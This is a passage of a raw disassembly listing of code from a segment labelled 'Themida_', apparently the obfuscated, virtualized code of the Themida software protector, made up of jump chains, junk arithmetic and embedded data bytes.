0FFF28FE9h db 0FFh ; --------------------------------------------------------------------------- loc_553FA5: ; CODE XREF: Themida_:00561DC9j add ebx, 556E707Bh inc ebx shr ebx, 7 push esi jmp loc_5637BE ; --------------------------------------------------------------------------- db 51h, 0E9h, 18h dd 0C1000030h, 4DE906EBh, 1000083h, 343359CEh, 24343124h dd 8B243433h, 0D3662424h, 0E99C243Ch, 0FFFFCF83h, 40DCE959h dd 0E3890000h, 4C381h, 6DE90000h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553FEF: ; CODE XREF: Themida_:0055DDD0j mov ecx, 6B086531h add edi, ecx pop ecx std push 0Ah jmp loc_55B047 ; --------------------------------------------------------------------------- dw 0EAC1h dd 31D5E905h, 0CFE0000h, 4CE99C24h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554013: ; CODE XREF: Themida_:0055E487j xchg ebx, [esp] pop esp jmp loc_5541BD ; --------------------------------------------------------------------------- dd 4C08359h, 8B240487h, 0F9012424h, 30CE981h, 7568466Dh dd 8900007Fh, 21E9241Ch db 0E2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55403B: ; CODE XREF: Themida_:00562ABCj push ebx mov ebx, 4779678Bh sub ecx, ebx mov ebx, [esp] add esp, 4 mov ebp, [esp] add esp, 4 jmp loc_55AC7F ; --------------------------------------------------------------------------- loc_554057: ; CODE XREF: Themida_:005604C7j xor eax, edx neg edx xchg eax, edx add eax, 1B0FFB35h add ebx, 73101526h sub ebx, 4FF2576Eh add ebx, 593E22DDh add ebx, eax jmp loc_5542A0 ; --------------------------------------------------------------------------- dw 8145h dd 0F9FDFAEDh, 3FBB539Dh, 0E9595A6Eh, 0FFFFD752h, 0D2E9E981h dd 0C8017A80h, 8BC18959h, 0C4832404h, 5A54E904h, 895C0000h dd 6857242Ch, 2C970628h, 81243C8Bh, 4C4h, 35C78100h, 0E902E94Ah dd 0D08h dword_5540C0 dd 32822DADh, 0D829304Ah, 4EC81h, 0F2E90000h ; DATA XREF: Themida_:00550EB8o db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5540D3: ; CODE XREF: Themida_:005635C8j neg ebx sub ebx, 0FFEDFFFAh push ebp mov ebp, ebx mov esi, ebp pop ebp pop ebx sub edx, 28400A8Fh add edx, 76742B9Ah add edx, 7D711B28h sub edx, 0B1425D6h add edx, esi add edx, 0B1425D6h sub edx, 7D711B28h jmp loc_55A0ED ; --------------------------------------------------------------------------- loc_55410D: ; CODE XREF: Themida_:00551C23j push ecx mov ecx, 75B21043h sub ebx, ecx pop ecx jmp loc_554525 ; --------------------------------------------------------------------------- db 68h dd 309h, 59241489h, 2E9C15Ah, 0FFEDF0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55412D: ; CODE XREF: Themida_:005629F2j mov [esp], edx not dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 push 2E04h jmp loc_560486 ; --------------------------------------------------------------------------- loc_554149: ; CODE XREF: Themida_:005537EFj mov ebx, 8E23BFF5h sub ebx, eax pop eax sub ebp, ebx jmp loc_559CE9 ; --------------------------------------------------------------------------- dd 0F4E9CE29h, 0BF000071h, 23D287Fh, 0BA96E9h, 0C9B85000h dd 29D3FDD8h, 0CA0158C1h, 4C28359h, 5C241487h, 4C681h dd 0A2E90000h, 66000016h, 81E9505Ah, 0F700006Eh, 0F2AEE9D1h dd 0D0F70000h, 0EC54E9h db 0 ; --------------------------------------------------------------------------- loc_55419D: ; CODE XREF: Themida_:0055A2C6j mov esp, [esp] add esp, 4 jmp loc_5535C4 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0D12Bh, 839C4FB8h, 59C82981h, 0C8C1E9h db 0 ; --------------------------------------------------------------------------- loc_5541BD: ; CODE XREF: Themida_:00554017j pop dword ptr [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_5542DF ; --------------------------------------------------------------------------- loc_5541CB: ; CODE XREF: Themida_:005594E6j push eax jmp loc_562879 ; --------------------------------------------------------------------------- aASpf db '─еэИP■',0 db 0 ; --------------------------------------------------------------------------- loc_5541D9: ; CODE XREF: Themida_:00564BEDj push edx mov edx, 695157Dh xor ebp, edx pop edx push ebp not dword ptr [esp] pop ebp push 2990h mov [esp], eax jmp loc_55D200 ; --------------------------------------------------------------------------- dd 0E95D5455h, 0FFFFD3FDh, 152DFBEh, 7EEC155h, 62C3CE81h dd 0B3E91C8Ah db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55420F: ; CODE XREF: Themida_:00564F1Fj sub eax, 29A20FA3h sub esp, 4 mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_558F55 ; --------------------------------------------------------------------------- loc_554231: ; CODE XREF: Themida_:00559A39j push ebp mov ebp, 20CB6E61h and esi, ebp pop ebp jmp loc_55176F ; --------------------------------------------------------------------------- db 31h dd 240559C8h, 15136F1h, 0EB8158C3h, 7CC73A41h, 0AF4C381h dd 0C381632Fh, 59A3339h, 23E9C301h db 0C0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554263: ; CODE XREF: Themida_:00562757j or edx, 10316D7Fh inc edx not edx sub edx, 0E8087FFBh add ebp, edx jmp loc_560B2A ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4C281h, 0EC830000h, 24348904h, 674EACBEh, 0A8F6814Ch dd 814C674Eh, 8306D9C2h, 0E9F20117h, 958Ch ; --------------------------------------------------------------------------- loc_5542A0: ; CODE XREF: Themida_:00554075j sub ebx, 593E22DDh add ebx, 4FF2576Eh sub ebx, 73101526h push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 jmp loc_55C609 ; --------------------------------------------------------------------------- loc_5542C4: ; CODE XREF: Themida_:0055EF7Bj add edi, 4 add edi, 4 jmp loc_559BF3 ; --------------------------------------------------------------------------- loc_5542D5: ; CODE XREF: Themida_:0055D7DCj mov [esp], ecx mov ecx, esp jmp loc_563514 ; --------------------------------------------------------------------------- loc_5542DF: ; CODE XREF: Themida_:005541C6j jmp loc_550F5F ; --------------------------------------------------------------------------- aVtss db 'VTИХ<',0 dw 5C00h dd 53243C89h, 0DF89CB89h, 0E958575Bh, 0FFFFD01Dh ; --------------------------------------------------------------------------- loc_5542FC: ; CODE XREF: Themida_:00561148j add eax, 4 jmp loc_557CD4 ; --------------------------------------------------------------------------- dw 0B859h dd 0D255E821h, 295DE829h, 24048BC1h, 0E904C483h, 0FFFFDB1Bh ; --------------------------------------------------------------------------- loc_55431C: ; CODE XREF: Themida_:0055AE0Ej xor ebx, edi mov edi, [esp] add esp, 4 xor ebx, 0B985557Fh xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 push ebp mov ebp, 5C887A2Dh sub ebp, 15C37D4Bh not ebp jmp loc_55CB01 ; --------------------------------------------------------------------------- dw 0CF89h dd 0E95FFE89h, 10A93h, 5A5AC181h, 0F1815AB6h, 3E20321Ah dd 0D9F7D9F7h, 2277E981h, 0F1815F32h, 4E84003Eh, 4EB85052h dd 3549C20Eh, 767A0769h, 0C108E8C1h, 0D43504E8h, 532178F4h dd 0DA89C389h, 0FF06E95Bh, 815B0000h, 4C1h, 240C3300h dd 33240C31h, 248B240Ch, 0E7895724h, 4C781h, 43E90000h dd 3100001Eh, 0F7CE31F1h, 52CE87D1h, 4782E9h db 0 ; --------------------------------------------------------------------------- loc_5543BD: ; CODE XREF: Themida_:0055A29Ej mov eax, [esp] jmp loc_557CF4 ; --------------------------------------------------------------------------- loc_5543C5: ; CODE XREF: Themida_:00551CA3j mov edx, esp push ebp mov ebp, 2255277Eh sub ebp, 734D711Bh and ebp, 19693222h xor ebp, 7FDD1189h dec ebp xor ebp, 76DC23AEh push ebx mov ebx, 5A5B79A2h add edx, ebx pop ebx add edx, 1FB85F29h add edx, ebp sub edx, 1FB85F29h jmp loc_565035 ; --------------------------------------------------------------------------- loc_554402: ; CODE XREF: Themida_:00554E8Dj inc ch sub ch, 0EDh jmp loc_563174 ; --------------------------------------------------------------------------- dd 0F4B65266h, 88F48850h, 24048BE7h, 4C481h, 8B660000h dd 0C4812414h, 2, 8091E780h, 0D7E92AEFh db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554433: ; CODE XREF: Themida_:0055BD0Dj neg esi not esi jmp loc_563999 ; --------------------------------------------------------------------------- dword_55443C dd 0FF2434FFh, 0E9582434h, 21EBh, 8B241487h, 0A9E92424h ; DATA XREF: Themida_:00550E9Co dd 5E00001Eh, 16CBBD5Bh, 0C5312AA5h, 0E924048Bh, 8Ch, 0B151C0FEh dd 88526631h, 637CE9C6h, 0E3280000h, 8EE95258h, 0BAFFFFF1h dd 4, 685468h, 242C8900h, 610D68BDh, 5DE9017Ch, 159BBA52h dd 0E2817CB4h, 5A75585Bh, 0EA81D2F7h, 6FD0C7B6h, 15AD101h dd 0D5BE56D1h, 811BA96Bh, 51BC59C6h, 0E9F1291Ch, 33Bh dd 0E9241C8Bh, 0B207h, 0C1E3E947h, 2BF0000h, 0E95B4C72h dd 0FFFFEC2Dh, 2AE9F301h db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5544DB: ; CODE XREF: Themida_:0056214Ej or eax, eax jz loc_552B13 push 3B5Dh mov [esp], eax jmp loc_553F6B ; --------------------------------------------------------------------------- dd 2104C483h, 2434FFE9h, 4331E95Dh, 30BE0000h, 8152802Eh dd 62E9C0C6h, 0D3CCE919h, 0F4800000h, 0FFE62003h, 0F5E92434h dd 0C10000BDh, 0D7F702E7h, 0FFE69CE9h db 0FFh ; --------------------------------------------------------------------------- loc_554525: ; CODE XREF: Themida_:00554116j sub [edi+24h], ebx push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5594D4 ; --------------------------------------------------------------------------- db 81h, 0ECh, 2 dd 0E9000000h, 1434h, 5868D829h, 89000046h, 80BB241Ch dd 81592365h, 0E5032BF3h, 2E3C12Ch, 0FFF4BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_554565: ; CODE XREF: Themida_:00553A85j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr ebp, 4 push ebx jmp loc_564BD7 ; --------------------------------------------------------------------------- byte_55457B db 66h ; DATA XREF: Themida_:00550E28o dd 56240C8Bh, 0C681E689h, 4, 1155DE9h db 0 byte_55458D db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550EA8o dd 5A2434FFh, 4C481h, 89500000h, 0D16855E0h, 5D707D6Bh dd 3874CD81h, 0BF5742C3h, 8D00840Fh, 535FFD01h, 83B53BBh dd 0FEC38101h, 0C114BE4Dh, 0E38105E3h, 53E238C0h, 1DEDE9h db 0 ; --------------------------------------------------------------------------- loc_5545CD: ; CODE XREF: Themida_:00557FCEj xchg ebp, [esp] pop esp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_552376 ; --------------------------------------------------------------------------- dw 835Eh dd 2C8704C4h, 0CD25C24h, 37E99C24h, 0FE0000F0h, 3CC180C9h dd 0A3E9CB30h, 83000004h, 0C8904ECh, 0EEBA5224h, 8137600Dh dd 0FFFFFFEAh, 0FCFFE9FFh, 0EDB90000h, 0E95A8B1Eh, 0C8AFh dd 83242489h, 5B042404h, 4C381h, 0E9500000h, 60FFh, 7FE9DEF7h db 8, 1, 0 byte_55463B db 66h ; DATA XREF: Themida_:00550E08o dd 68240C8Bh, 6277h, 83240C89h, 8F5404ECh, 53502404h, 8B685356h dd 5B45CD55h, 0ED37E9h, 48F5900h, 80685C24h, 8900007Bh dd 0A6E9240Ch, 5A0000E8h, 0E959CF88h, 315Dh, 33E5EE81h dd 0C6810085h, 0E8C3874h, 0F487C681h, 0EF81C66Fh, 339F3CC7h dd 70E9F701h, 89FFFFE3h, 0FEE9E9EFh db 2 dup(0) word_55469E dw 6664h ; DATA XREF: Themida_:00550E1Co dd 6602B60Fh, 66102868h, 0E9240489h, 0FFFFC8AFh, 0B4F5B151h dd 59CC00D3h, 0E958E700h, 0FB6Dh, 0D5E56B8h, 4096055Ch dd 88E93434h db 0C7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5546CF: ; CODE XREF: Themida_:005636B7j sub esp, 4 mov [esp], ebp jmp loc_55CF94 ; --------------------------------------------------------------------------- loc_5546DA: ; CODE XREF: Themida_:005549C0j sub ebx, 620E20EEh add ebx, 5D332FFEh jmp loc_5658F3 ; --------------------------------------------------------------------------- aJs db 'JИ╥н',0 dd 0C5895500h, 8B5DEA89h, 0C4832404h, 0DBE95104h, 81000045h dd 4ECh, 24148900h, 0EA8091B2h, 0E9D2F601h, 7FF1h, 575BDD29h dd 832579BFh, 11E94752h db 0DDh, 2 dup(0) byte_554727 db 0FFh ; DATA XREF: Themida_:00550DB4o dd 34FF2434h, 24048B24h, 5104C483h, 0EC81E189h, 4, 0A6DE9h dd 4C48100h, 8F000000h, 248B2404h, 240C8924h, 0A1F1E9h db 0 ; --------------------------------------------------------------------------- loc_554755: ; CODE XREF: Themida_:00565918j xchg ebp, [esp] pop esp push ecx push 1D45h mov [esp], ebp mov ebp, 1876820h jmp loc_55A402 ; --------------------------------------------------------------------------- loc_55476C: ; CODE XREF: Themida_:00559B34j add eax, edx mov edx, [esp] add esp, 4 jmp loc_55ABE6 ; --------------------------------------------------------------------------- dd 2F9E581h, 0E2E95AD5h, 490000A5h, 77E8E981h, 32E97F63h dd 0C100009Ch, 0CB8102EBh, 0D387DBBh, 8746F387h, 0F5A3E9F3h dd 0C4830000h, 4EC8304h, 89240C89h, 0E18951E1h, 241EBE56h dd 0EE817A50h, 7A50241Ah, 348BF101h, 4C48124h, 0E9000000h dd 7078h, 83241489h, 3C8904ECh, 0C2685024h, 5867704Ch dd 0C06BE9h, 45BA5200h, 512F3274h, 6B8BBF57h, 9CE936ACh dd 5E000068h, 0BDB4E9h, 58C12900h, 2416E9h, 56F78100h dd 5036BF26h, 0E32A9CB8h, 0FFFF2D12h, 3935FFFFh, 0E9659504h dd 0B77Bh ; --------------------------------------------------------------------------- loc_554820: ; CODE XREF: Themida_:0055B20Fj push ebx jmp loc_56433B ; --------------------------------------------------------------------------- dw 0EE81h dd 6A2C01BDh, 0CB6CE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554832: ; CODE XREF: Themida_:00564358j push ebx push 4DA5013Dh pop ebx jmp loc_55D116 ; --------------------------------------------------------------------------- dw 8B54h dd 0C481243Ch, 4, 4EC81h, 0B6E90000h, 310000E8h, 30E9242Ch dd 8B000026h, 0C4812414h, 4, 8105E3C1h, 0AA3118CBh, 0A33DE978h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554872: ; CODE XREF: Themida_:00560DCEj mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_5571F8 ; --------------------------------------------------------------------------- db 57h dd 0B41B1FBFh, 0DA77E90Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554896: ; CODE XREF: Themida_:00561E09j add ecx, ebp pop ebp sub esp, 4 mov [esp], eax mov eax, 0CB79CD06h add ecx, 0B781B86h add ecx, eax sub ecx, 0B781B86h pop eax and eax, ecx pop ecx shr eax, 18h jmp loc_55A5DE ; --------------------------------------------------------------------------- loc_5548C1: ; CODE XREF: Themida_:0055CDD6j mov edi, 647CCC3Ah mov edx, edi pop edi xor eax, edx pop edx add ecx, eax push dword ptr [esp] pop eax push ebp mov ebp, esp push edx jmp loc_558865 ; --------------------------------------------------------------------------- loc_5548DB: ; CODE XREF: Themida_:0056093Bj sub edx, ecx mov ecx, [esp] add esp, 4 push edx jmp loc_555DD0 ; --------------------------------------------------------------------------- loc_5548E9: ; CODE XREF: Themida_:00553E05j push edx jmp loc_565158 ; --------------------------------------------------------------------------- loc_5548EF: ; CODE XREF: Themida_:00561D22j add esp, 4 push ebp mov ebp, 1CD3129Ch xchg esi, ebp jmp loc_55B2B6 ; --------------------------------------------------------------------------- loc_554902: ; CODE XREF: Themida_:0055EA69j dec edx dec edx push eax mov eax, 4D561F13h add edx, eax jmp loc_55D08C ; --------------------------------------------------------------------------- loc_554911: ; CODE XREF: Themida_:00563715j add esp, 4 push 5776h mov [esp], eax jmp loc_556349 ; --------------------------------------------------------------------------- loc_554921: ; CODE XREF: Themida_:00557C30j push dword ptr [esp] pop edi jmp loc_55EBCA ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 83000000h, 1C8704C3h, 4C8E924h, 2C890001h dd 0CC9E924h db 1, 0 word_554946 dw 8B66h ; DATA XREF: Themida_:00550D30o dd 0F4682404h, 8900007Bh, 0AD68243Ch, 8900007Ch, 52E92424h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55495F: ; CODE XREF: Themida_:00553F96j sub edx, 13043C7Ch add edx, edi add edx, 13043C7Ch pop edi xor eax, edx jmp loc_561193 ; --------------------------------------------------------------------------- db 57h, 0BFh, 0B8h dd 811C6B52h, 0A947E7F7h, 72F78144h, 1A7FD57h, 0D7E95FFAh db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55498F: ; CODE XREF: Themida_:00554ED8j sub edx, 72B86707h add edx, ecx add edx, 72B86707h push ebp jmp loc_560B44 ; --------------------------------------------------------------------------- db 89h dd 8950240Ch, 405E0h, 42D0000h, 50000000h, 9BA8E9h db 0 ; --------------------------------------------------------------------------- loc_5549B9: ; CODE XREF: Themida_:00553D82j pop edi push ebp mov ebp, 80508689h jmp loc_5546DA ; --------------------------------------------------------------------------- loc_5549C5: ; CODE XREF: Themida_:00558969j mov edx, 586A7151h xor edx, 78B65858h jmp loc_55CE0C ; --------------------------------------------------------------------------- loc_5549D5: ; CODE XREF: Themida_:00558CCAj or ecx, 19EB036Fh shl ecx, 4 push 47FFh mov [esp], edi mov edi, 4AED343Bh and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 5 jmp loc_55EBF0 ; --------------------------------------------------------------------------- loc_5549FE: ; CODE XREF: Themida_:00565189j push eax mov eax, esp jmp loc_555797 ; --------------------------------------------------------------------------- loc_554A06: ; CODE XREF: Themida_:0055F74Fj push 232Eh mov [esp], ebp push ecx jmp loc_55E7C5 ; --------------------------------------------------------------------------- dd 5C243487h, 81242C8Bh, 4C4h, 0E1895100h, 8904EC83h, 4BB241Ch dd 0E9000000h, 0B9FAh, 36B4BD55h, 0E9891FFEh, 0ACF1815Dh dd 686CA710h, 37BCh, 51243C89h, 7E1CFFB9h, 4EC8155h, 89000000h dd 0CE892434h, 8B5EF789h, 0C9E9240Ch, 1FFFFE5h, 81042454h dd 0DB04246Ch, 81165C37h, 0BB04246Ch, 0FF151C52h, 815A2434h dd 4C4h, 0C4D5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554A8A: ; CODE XREF: Themida_:00564CCAj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_552482 ; --------------------------------------------------------------------------- aYsA db 'YИ,═',0 align 4 dd 0A73A69BDh, 5DEB3104h, 555BD901h, 250B2FBDh, 0C5814576h dd 0AE9DFC2Bh, 0F1AFE9h db 0 ; --------------------------------------------------------------------------- loc_554AC5: ; CODE XREF: Themida_:00560665j add dword ptr [esp+4], 4E5A7E28h pop ecx pop edx sub edx, 350D0EA6h pop edi jmp loc_558A1E ; --------------------------------------------------------------------------- loc_554ADB: ; CODE XREF: Themida_:00555C00j mov [esp], ebp push 13A2h mov [esp], edx jmp loc_56579A ; --------------------------------------------------------------------------- db 49h dd 4731E981h, 5A514849h, 108F6E9h, 5AD78800h, 0F8281F2Ch dd 0C372E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554B06: ; CODE XREF: Themida_:0055A5E8j add ebp, 4 add ebp, 4 jmp loc_565528 ; --------------------------------------------------------------------------- db 5Ah dd 8FC0B60Fh, 8BE98704h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554B23: ; CODE XREF: Themida_:005574FFj add ecx, 4 xchg ecx, [esp] pop esp xchg edx, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_55134E ; --------------------------------------------------------------------------- loc_554B39: ; CODE XREF: Themida_:0055E78Aj mov edi, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_55ADA3 ; --------------------------------------------------------------------------- dw 4B9h dd 50000000h, 10579E9h db 0 ; --------------------------------------------------------------------------- loc_554B55: ; CODE XREF: Themida_:005557AEj mov [esp], ebp push dword ptr [esp+4] jmp loc_552EE0 ; --------------------------------------------------------------------------- db 1, 0CBh, 59h dd 4C381h, 1C870000h, 54535C24h, 50241C8Bh, 4432E9h, 5DBB5300h dd 816AD73Ah, 634EBDCBh, 0FBEB8120h, 812AEA4Ch, 0BB5410EBh dd 12C38152h, 5312AE22h, 0F8240481h, 8B683F62h, 0C481240Ch dd 4, 62F8E981h, 815B683Fh, 0B3135EEh, 81CE0153h, 0B3135C6h dd 337CE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554BC2: ; CODE XREF: Themida_:00560B34j pop esp sub esp, 4 mov [esp], ecx mov ecx, 4 add ebx, ecx push dword ptr [esp] jmp loc_561728 ; --------------------------------------------------------------------------- aS_8 db '^Иен',0 align 2 dw 0C381h dd 1BF76FFAh, 6182EB81h, 15E94B76h, 1FFFFEBh, 0E9525FFBh dd 0FFFFE5B0h, 0C29FE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_554BFE: ; CODE XREF: Themida_:00555135j xor ebp, edi pop edi mov edx, ebp pop ebp jmp loc_553BF4 ; --------------------------------------------------------------------------- loc_554C09: ; CODE XREF: Themida_:00555E46j pop esp sub esp, 4 jmp loc_55AC90 ; --------------------------------------------------------------------------- aYv db ')оYV╬',0 db 1Dh dd 0F7213B82h, 4BC7815Eh, 292C483Fh, 0BB535FFAh, 10B35B6Ah dd 5D35BA52h, 0E6E93911h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554C3B: ; CODE XREF: Themida_:00551D10j not esi jmp loc_564553 ; --------------------------------------------------------------------------- dw 835Ch dd 1C8904ECh, 2B7BB24h, 0EB817756h, 775602B3h, 505BD801h dd 0BF57E089h, 3D415CE4h, 1D78EF81h, 0EFC177EFh, 4E7C104h dd 40CF8147h, 8132A35Ch, 0C80A3C7h, 5FF80108h, 1E92BB53h dd 0E9437258h, 33E8h, 0E906E7C1h, 8688h, 405E089h, 52000000h dd 0FFDD13E9h, 0E4E956FFh db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554CA3: ; CODE XREF: Themida_:00558545j push ebx mov ebx, 25A410CEh jmp loc_5638F3 ; --------------------------------------------------------------------------- loc_554CAE: ; CODE XREF: Themida_:005593B3j not ch neg ch push ax jmp loc_55AB3A ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81BB74F8h, 0B075BAEBh, 9EC3811Bh, 1717455h, 0BB5351FBh dd 212324B1h, 3DE9D989h, 8B00008Ah, 5682404h, 89000027h dd 0E389241Ch, 4C381h, 0C3830000h, 241C8704h, 5624248Bh dd 0DDE9E689h, 830000E3h, 148904ECh, 7106824h, 0E95A0EF7h dd 0A67Eh, 8904EC83h, 0ADBA2414h, 895CDC7Ch, 0DFF75AD7h dd 0E9E9F781h, 0EC83F704h, 8A8CE904h, 0C5800000h, 88B252EFh dd 0EC83DAF6h, 24148904h, 0E9242486h, 8884h, 6FE9DA01h dd 55000077h, 4BDh, 60D7E900h, 2C8B0000h, 4C48324h, 68E9CA01h dd 0BF00008Fh, 7BF50A2Eh, 0FC88E9h, 4C38100h, 68000000h dd 43FFh, 0BD242C89h, 4, 2DF8C381h, 0EB813DCBh, 56CC248Bh dd 0C381EB29h, 56CC248Bh, 27D9E957h, 0F9090000h, 73BD555Fh dd 8139C605h, 1EDh, 81D5F700h, 0CB3E85F5h, 0BBCD8114h dd 8117B129h, 0CD58D1EDh, 5DE93163h, 0E959C809h, 1B15h dd 0E908E7C1h, 0ED13h, 417F68h, 24048900h, 889FB652h, 0C3285AF0h dd 8324048Bh, 0DC3004C4h, 58E1885Bh, 0B9CE9h db 0 ; --------------------------------------------------------------------------- loc_554DF1: ; CODE XREF: Themida_:0055E0BBj mov edi, 611F0685h xor ebx, edi pop edi sub edx, ebx pop ebx xchg eax, edx mov edx, [esp] jmp loc_55EFE2 ; --------------------------------------------------------------------------- loc_554E05: ; CODE XREF: Themida_:00562905j pop edi add esp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push 675Eh mov [esp], ecx jmp loc_5599EE ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFE466h, 8B242C33h, 0C6E92424h db 0BAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554E3B: ; CODE XREF: Themida_:0056354Bj add [esp+0Ch], esi pop esi pop edx add [esp+4], ebp push 0D4Ch mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx push esi jmp loc_55697E ; --------------------------------------------------------------------------- loc_554E68: ; CODE XREF: Themida_:00552635j mov edi, ebp jmp loc_55CF09 ; --------------------------------------------------------------------------- db 1 dd 45E95EF5h db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554E77: ; CODE XREF: Themida_:0055706Cj mov esi, [esp] add esp, 4 add ebx, ecx mov ecx, [esp] jmp loc_55E4E1 ; --------------------------------------------------------------------------- loc_554E8A: ; CODE XREF: Themida_:00551429j sub ch, 71h jmp loc_554402 ; --------------------------------------------------------------------------- dw 0BD55h dd 1E6D7211h, 12E9EF01h, 8B000025h db 2 dup(24h) ; --------------------------------------------------------------------------- loc_554EA2: ; CODE XREF: Themida_:loc_556371j push ebx add dword ptr [esp], 515547B9h push dword ptr [esp] pop ebx jmp loc_5553C6 ; --------------------------------------------------------------------------- loc_554EB3: ; CODE XREF: Themida_:00552B24j pop edi mov eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push edx mov edx, esp push 46ACh mov [esp], ecx mov ecx, 4 add edx, 37723B98h jmp loc_55498F ; --------------------------------------------------------------------------- db 5Bh, 55h, 0BDh dd 23814A6Bh, 0D5F7D5F7h, 0BA52D5F7h, 21635362h, 4D46CA81h dd 0E2813780h, 5A433239h, 3E29E281h, 27687A10h, 89000029h dd 38BF243Ch, 3154A13Ah, 6CA4E9F7h, 814F0000h, 0EF7C7AEFh dd 5F585706h, 5A585250h, 0D1F7CA87h, 5392CA87h, 9F27D5BBh dd 23EB814Bh, 9D161B5h, 0D0255BD8h, 51374206h, 725C22B9h dd 6A08E927h db 2 dup(0) word_554F4A dw 0EC83h ; DATA XREF: Themida_:00550EE0o dd 24048904h, 24048B54h, 5453E9h, 0E5F68100h, 0E9028977h dd 9A4Ah, 0F4E930FFh db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554F6B: ; CODE XREF: Themida_:00558BCDj add edx, 209ED353h sub ebx, edx mov edx, [esp] add esp, 4 mov [edi+20h], ebx mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add [edi+20h], ecx pop ecx loc_554F96: ; CODE XREF: Themida_:005513FDj ; Themida_:loc_552A5Ej push dword ptr [esp] mov ebx, [esp] jmp loc_556C85 ; --------------------------------------------------------------------------- loc_554FA1: ; CODE XREF: Themida_:00564B28j mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_564FBE ; --------------------------------------------------------------------------- aGsxe db '╤ёИx┘',0 dw 8B00h dd 0C4832414h, 44BE5604h, 57688D14h, 0B9A3E9h, 58545000h dd 4BE56h, 0F0010000h, 0E924348Bh, 0FFFFCCE8h, 0C48DE957h dd 815A0000h, 4ECh, 0EDDFE900h, 835B0000h, 516604C4h, 0A736E9h dd 0E9585400h, 1384h, 0BE243489h, 0E4807ED0h, 9B68E9h dd 34875A00h, 24248B24h, 54241489h, 8324148Bh, 685304C4h dd 12A4h, 0B8240489h, 5C1B3458h, 2414F750h, 8124048Bh dd 4C4h, 4E0C100h, 2D05E8C1h, 15794C81h, 0CD05302Dh, 0F6A6E924h db 2 dup(0) word_555056 dw 77FFh ; DATA XREF: Themida_:00550D18o dd 59669D1Ch, 241CD366h, 0BEF9E99Ch, 5558FFFFh, 252A7DBDh dd 0E9EF0146h, 3451h, 2434875Ah, 51D8005Ch, 0F1809BB1h dd 3BB3E949h, 0BD550000h, 3A304149h, 37F3ED81h, 0EE31FEE6h dd 5EF0015Dh, 405h, 0E841E900h, 9968FFFFh, 89000075h, 52E92434h dd 81FFFFD0h, 0CEBCFDE9h, 59C8318Ch, 0EFE9C689h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5550BF: ; CODE XREF: Themida_:0055D096j mov edx, [esp] add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_559B1E ; --------------------------------------------------------------------------- loc_5550D4: ; CODE XREF: Themida_:00560FB4j add esp, 4 mov [edi+eax*4], bh jmp loc_5629F7 ; --------------------------------------------------------------------------- align 10h dd 44045BD8h, 8078B353h, 6866ECF3h, 1C280000h, 241C8A24h dd 8002C483h, 0C380B7E3h, 5BD8005Eh, 822CC800h, 0C22C442Ch dd 8B664A2Ch, 0C483240Ch, 0FC33002h, 34FFC0B6h, 2F2EE987h dd 0D8310000h, 8904EC83h, 0E952240Ch, 0EAF1h ; --------------------------------------------------------------------------- loc_55512C: ; CODE XREF: Themida_:00555CE1j shl edi, 4 xor edi, 17731C35h jmp loc_554BFE ; --------------------------------------------------------------------------- loc_55513A: ; CODE XREF: Themida_:0055D9CCj xor edx, 0C4C83A40h mov ebx, edx pop edx add ebx, edx xor [ebx], ecx jmp loc_55E08C ; --------------------------------------------------------------------------- dd 8904EC83h, 